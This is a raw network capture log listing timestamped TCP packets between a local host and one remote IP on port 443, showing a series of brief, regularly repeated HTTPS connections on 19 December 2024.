Dec 19, 2024 22:41:21.820832014 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:21.820919037 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:21.821254015 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:21.821619987 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:21.821729898 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:23.295591116 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:23.295778036 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:23.296046972 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:23.296076059 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:23.298161983 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:23.298260927 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:24.178414106 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:24.178481102 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:24.178633928 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:24.178699017 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:24.178699017 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:24.178699017 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:24.178800106 CET	49821	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:24.178838015 CET	443	49821	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:24.289577961 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:24.289611101 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:24.289693117 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:24.289966106 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:24.289977074 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:25.756244898 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:25.756441116 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:25.756719112 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:25.756727934 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:25.758479118 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:25.758485079 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:26.458389997 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:26.458481073 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:26.458561897 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:26.458575010 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:26.458611965 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:26.458666086 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:26.458709002 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:26.458759069 CET	49827	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:26.458774090 CET	443	49827	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:26.570640087 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:26.570678949 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:26.570780039 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:26.571017027 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:26.571023941 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:28.056652069 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:28.056725979 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:28.057111025 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:28.057120085 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:28.058739901 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:28.058746099 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:29.198883057 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:29.198951960 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:29.199023008 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:29.199035883 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:29.199094057 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:29.199100018 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:29.199239969 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:29.199246883 CET	443	49833	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:29.199256897 CET	49833	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:29.305140972 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:29.305175066 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:29.305375099 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:29.305536985 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:29.305542946 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:30.693686008 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:30.693746090 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:30.694230080 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:30.694236994 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:30.696263075 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:30.696268082 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:31.386111021 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:31.386177063 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:31.386204004 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.386219978 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:31.386233091 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.386276960 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.386282921 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:31.386320114 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.386336088 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:31.386393070 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.386629105 CET	49840	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.386641026 CET	443	49840	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:31.492659092 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.492744923 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:31.492993116 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.493105888 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:31.493141890 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:32.903295040 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:32.903440952 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:32.903892040 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:32.903918982 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:32.905551910 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:32.905565977 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:33.600423098 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:33.600480080 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:33.600502014 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.600533962 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:33.600552082 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.600588083 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.600595951 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:33.600635052 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.600660086 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:33.600718021 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.600744009 CET	49846	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.600755930 CET	443	49846	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:33.711617947 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.711656094 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:33.711745024 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.712002039 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:33.712018013 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:35.111409903 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:35.111864090 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:35.112127066 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:35.112157106 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:35.114445925 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:35.114500046 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:35.805635929 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:35.805692911 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:35.805768013 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:35.805768967 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:35.805833101 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:35.805871964 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:35.805892944 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:35.805919886 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:35.840154886 CET	49852	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:35.840235949 CET	443	49852	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:36.213028908 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:36.213057041 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:36.213114977 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:36.240078926 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:36.240092993 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:37.633651972 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:37.633727074 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:37.634247065 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:37.634254932 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:37.636507988 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:37.636513948 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:38.367886066 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:38.367957115 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:38.367984056 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.367994070 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:38.368009090 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.368051052 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.368057013 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:38.368100882 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.368123055 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:38.368168116 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.368314981 CET	49858	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.368323088 CET	443	49858	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:38.783884048 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.783977985 CET	443	49865	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:38.784076929 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.784656048 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:38.784699917 CET	443	49865	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:40.233351946 CET	443	49865	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:40.233433962 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:40.233813047 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:40.233834982 CET	443	49865	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:40.235291004 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:40.235302925 CET	443	49865	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:40.937350035 CET	443	49865	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:40.937413931 CET	443	49865	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:40.937571049 CET	443	49865	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:40.937642097 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:40.939407110 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:40.939408064 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:40.939408064 CET	49865	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:41.054840088 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:41.054867029 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:41.055026054 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:41.055253983 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:41.055259943 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:42.446902037 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:42.446996927 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:42.447402954 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:42.447411060 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:42.449058056 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:42.449063063 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:43.149411917 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:43.149471045 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:43.149503946 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:43.149527073 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:43.149529934 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:43.149569035 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:43.149669886 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:43.149714947 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:43.149739027 CET	49871	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:43.149758101 CET	443	49871	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:43.258745909 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:43.258838892 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:43.258922100 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:43.259099960 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:43.259138107 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:44.649626970 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:44.649713993 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:44.650085926 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:44.650100946 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:44.652142048 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:44.652159929 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:45.374532938 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:45.374593973 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:45.374608040 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.374624014 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:45.374648094 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.374677896 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.374684095 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:45.374732971 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.374784946 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:45.374839067 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.374944925 CET	49877	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.374968052 CET	443	49877	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:45.492638111 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.492753029 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:45.492875099 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.493181944 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:45.493218899 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:46.891113043 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:46.891227007 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:46.891676903 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:46.891701937 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:46.894031048 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:46.894046068 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:47.591612101 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:47.591672897 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:47.591769934 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:47.591840029 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:47.591876984 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:47.591896057 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:47.591919899 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:47.592003107 CET	49882	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:47.592032909 CET	443	49882	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:47.696486950 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:47.696535110 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:47.696635008 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:47.696822882 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:47.696842909 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.085484982 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.085551977 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.086324930 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.086338043 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.088814974 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.088819981 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.787978888 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.788037062 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.788064003 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.788081884 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.788103104 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.788150072 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.788155079 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.788196087 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.788201094 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.788247108 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.788480043 CET	49888	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.788492918 CET	443	49888	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.899035931 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.899079084 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:49.899166107 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.899488926 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:49.899502993 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.301052094 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.301111937 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.301573038 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.301584005 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.303981066 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.303987026 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.994616985 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.994679928 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.994700909 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.994714975 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.994739056 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.994782925 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.994786978 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.994824886 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.994843960 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:51.994895935 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.995062113 CET	49894	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:51.995073080 CET	443	49894	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:52.101857901 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:52.101922989 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:52.102009058 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:52.102220058 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:52.102251053 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:53.484822035 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:53.484903097 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:53.485378027 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:53.485409021 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:53.487021923 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:53.487035036 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:54.188194036 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:54.188215971 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:54.188263893 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:54.188277006 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:54.188321114 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:54.188349009 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:54.188473940 CET	49901	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:54.188504934 CET	443	49901	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:54.307708979 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:54.307800055 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:54.307885885 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:54.308103085 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:54.308140993 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:55.697117090 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:55.697211981 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:55.697634935 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:55.697663069 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:55.699348927 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:55.699362040 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:56.390424013 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:56.390450001 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:56.390516043 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:56.390530109 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:56.390530109 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:56.390604019 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:56.390929937 CET	49907	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:56.390968084 CET	443	49907	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:56.508390903 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:56.508424997 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:56.508497000 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:56.508758068 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:56.508774042 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:57.897278070 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:57.897576094 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:57.898175001 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:57.898189068 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:57.904182911 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:57.904191017 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:58.591764927 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:58.591841936 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:58.591974974 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:58.591974974 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:58.591993093 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:58.592056036 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:58.592269897 CET	49913	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:58.592283964 CET	443	49913	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:58.695657969 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:58.695678949 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:58.695879936 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:58.696105957 CET	49919	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:58.696116924 CET	443	49919	3.79.209.76	192.168.2.4
Dec 19, 2024 22:42:00.275679111 CET	443	49919	3.79.209.76	192.168.2.4
